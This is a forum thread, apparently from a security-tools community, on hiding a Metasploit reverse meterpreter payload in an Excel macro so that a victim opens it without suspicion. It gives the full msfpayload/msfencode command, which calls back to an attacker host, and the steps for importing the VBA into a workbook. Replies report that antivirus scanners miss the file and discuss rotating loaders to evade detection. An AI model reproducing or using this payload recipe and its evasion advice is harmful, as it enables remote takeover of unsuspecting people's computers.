Alternate filetype for SE to get reverse meterpreter session

[kazalku]

Someone here was looking for non-exe type file (jpg?) so that the victim is less suspicious while running them. Well, an excel file may be the solution.

I used:
1. BT3 with msf v3.3
2. M$ office 2002 SP3 in a vista box

First, I generated a VBA code in a konsole in BT3 box:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=7777 R | ./msfencode -b '' -t vba >> /root/Desktop/meterpreter.cls

I transferred the file to Windows, then, created an excel document, AND Tools>Macro>Visual Basic Editor. From the File>Import File>Browsed to the .cls file.

Job done!


PS: Virustotal scans the excel file as clean. Can somebody check with Norton AV please...

[aspekt9]

This is also doable with PDF files, I remember reading an article on securinfos.infos a while back about how to do it.

[kazalku]

I agree, however the pdf file is caught by around 10 or so number of AV if tested in Virustotal.

[imported_L3g10n]

Hey,
So i created the file and scanned it using Norton AV 2008 running version 15.5.0.23 fully patched.(This is one of the newest versions). No threat was detected :P!! Hope this helps...

[Archangel-Amael]

Some good reading in relation to this thread.
I have since tried it out and well as the study shows it will be picked up.
hype-free: Detecting the Metasploit encryptors in one hour and 49 lines of Python

[kazalku]

Hey,
So i created the file and scanned it using Norton AV 2008 running version 15.5.0.23 fully patched.(This is one of the newest versions). No threat was detected :P!! Hope this helps...

Thanks..

Some good reading in relation to this thread.
I have since tried it out and well as the study shows it will be picked up.
hype-free: Detecting the Metasploit encryptors in one hour and 49 lines of Python

I like the comment at the end:

We have to keep those AV guys employed somehow - basic idea is change the loader every few months once their detection catches up. It doesn't have to be good, just different.

[Archangel-Amael]

I like the comment at the end:

Well it is a "cat and mouse" game after all. Or some would say.

[imported_L3g10n]

I think their both the cat and the mouse.... :P AV companies that is.... hehe

[kazalku]

Well it is a "cat and mouse" game after all. Or some would say.

And as usual, "mouse" is ALWAYS the winner, no matter how strong the "cat" is, the little one always find a way to get the "cheese"...